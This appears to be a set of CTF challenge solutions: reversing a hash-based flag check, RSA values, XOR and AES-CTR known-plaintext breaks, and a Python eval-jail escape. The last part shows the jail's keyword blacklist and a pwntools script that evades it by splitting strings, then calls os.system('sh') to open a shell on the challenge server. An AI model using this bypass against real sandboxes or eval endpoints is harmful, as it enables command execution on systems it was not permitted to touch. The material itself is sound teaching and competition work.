1
BOOL8 __fastcall checkFlag(const char *a1)
2
{
3
  char s2[64]; // [rsp+10h] [rbp-40h] BYREF
4
  generateFlag("Avada_Kedavra", s2);
5
  return strcmp(a1, s2) == 0;
6
}

1
int __fastcall generateFlag(_BYTE *a1, char *a2)
2
{
3
  _BYTE *v2; // rax
4
  __int64 i; // [rsp+18h] [rbp-8h]
5

6
  for ( i = 5381LL; ; i = 33 * i + (char)*v2 )
7
  {
8
    v2 = a1++;
9
    if ( !*v2 )
10
      break;
11
  }
12
return sprintf(a2, "NCKUCTF{%lu}", i);
13
}

1
def generate_hash(s):
2
    h = 5381
3
    for c in s:
4
        h = 33 * h + ord(c)
5
    return h & 0xFFFFFFFFFFFFFFFF  # 保持為64位整數
6

7
input_str = "Avada_Kedavra"
8
hash_value = generate_hash(input_str)
9
flag = f"NCKUCTF{{{hash_value}}}"
10
print(flag)

1
e = 0x10001
2
n = 94222487035514568148220182471104690931780594128516176949111095868335830867719277805539132735917016524185107312037557600880949236829032793818738351079213184870243702834570026012503355620032058527302541127368383734031131208254140211165705925154251280613034133968327987267589895419787888903387665859859148412543
3
b64_c = 'N5lOVmbqGv0F1UiqdEy+T3Klilrwvp8cCZdLbnKPFWeqP9Mh/nzxtWC00G6GGPxmyMnOGdX9omDgxthlUAQGpaWeAnj84qrzU62Bq3m6RuP0pqE/wub6rMbHeK6gebgcd8GmUDX+gbhuLxtA4Z5+jyoyayi8t2xyCXHFtVXOm7Q='
4
int_c = 39042841328709556214265103020897101350928166266738871446328808453325125686468702532379771433443668090510537708890843833523366699079886852742174164548701470967388728724472159586068406789847736565656024626914080978879991724002842467193318864530876999109696543271802935281934399726950922142641870912695365966772

1
#!/usr/bin/python3.10
2

3
from pwn import xor
4
from secret import flag, key
5

6
assert len(key) == 3
7

8
cipher = xor(flag, key).hex()
9

10
# transform the cipher into hex format
11
print(" ".join([cipher[i:i+2] for i in range(0, len(cipher), 2)]))

1
from pwn import xor
2

3
ciphertext = '121f0213281b1b011c031a171c0c101c1c11000c08312a1c65001c1a63170b0006170611112e'
4
ciphertext_bytes = bytes.fromhex(ciphertext)
5

6
key = bytes([(ciphertext_bytes[0] ^ ord('F')),
7
             (ciphertext_bytes[1] ^ ord('L')),
8
             (ciphertext_bytes[2] ^ ord('A'))
9
             ])
10

11
decrypted_bytes = xor(ciphertext_bytes, key)
12
print(decrypted_bytes)

1
#!/usr/bin/python3.10
2

3
from secret import flag
4
from Crypto.Cipher import AES
5
from Crypto.Util.Counter import new
6
from os import urandom
7
from Crypto.Util.Padding import pad
8

9
key = urandom(16)
10
iv = urandom(4)
11

12
def encrypt(plain, key=key):
13
    ctr = new(128 , initial_value=int.from_bytes(iv, 'big'))
14
    aes = AES.new(key , mode=AES.MODE_CTR , counter=ctr)
15

16
    return aes.encrypt(pad(plain, 16))
17

18
print(encrypt(flag).hex())
19
print(encrypt(b"TSCCTF" * 6).hex())

1
from Crypto.Util.strxor import strxor
2
import binascii
3
ciphertext1 = "a2dcf363fb24aee5fb6f56946710be19b9973e009339b5af3f6072985b3e51ab9162db9c5198e96f5ac81f14226b1de3"
4
ciphertext2 = "b0c3f167d42c95d8fb195d8000168e1fb2b85f0c974ad18d34076e936e1b6e9da052aea75198e96f5ac81f14226b1de3"
5
ct1 = binascii.unhexlify(ciphertext1)
6
ct2 = binascii.unhexlify(ciphertext2)
7
known_pt = b"TSCCTF" * 6
8
keystream = strxor(ct2, known_pt)
9
flag = strxor(ct1, keystream)
10

11
print("Flag:", flag)

1
yih_0118@Macbook m774 % nc chall.nckuctf.org 8030
2
#!/usr/local/bin/python3
3

4
print(open(__file__).read())
5

6
inp = input(">>> ")
7
blacklist = ("import", "os", "system", "input", "eval", "exec", "open")
8
if not sum(bad in inp for bad in blacklist):
9
    print(eval(inp))
10
else:
11
    print("bad boyQQ")
12

13
>>>

1
>>> globals()
2
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7f1d37998c10>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': '/home/pyjail/jail.py', '__cached__': None, '__warningregistry__': {'version': 0}, 'inp': 'globals()', 'blacklist': ('import', 'os', 'system', 'input', 'eval', 'exec', 'open')}

1
from pwn import *
2
r = remote("chall.nckuctf.org", 8030)
3
p = "globals()['_'+'_builtins__'].__dict__['__i'+'mport__']('o'+'s').__dict__['s'+'ystem']('sh')"
4
r.sendlineafter(">>> ", p)
5
r.interactive()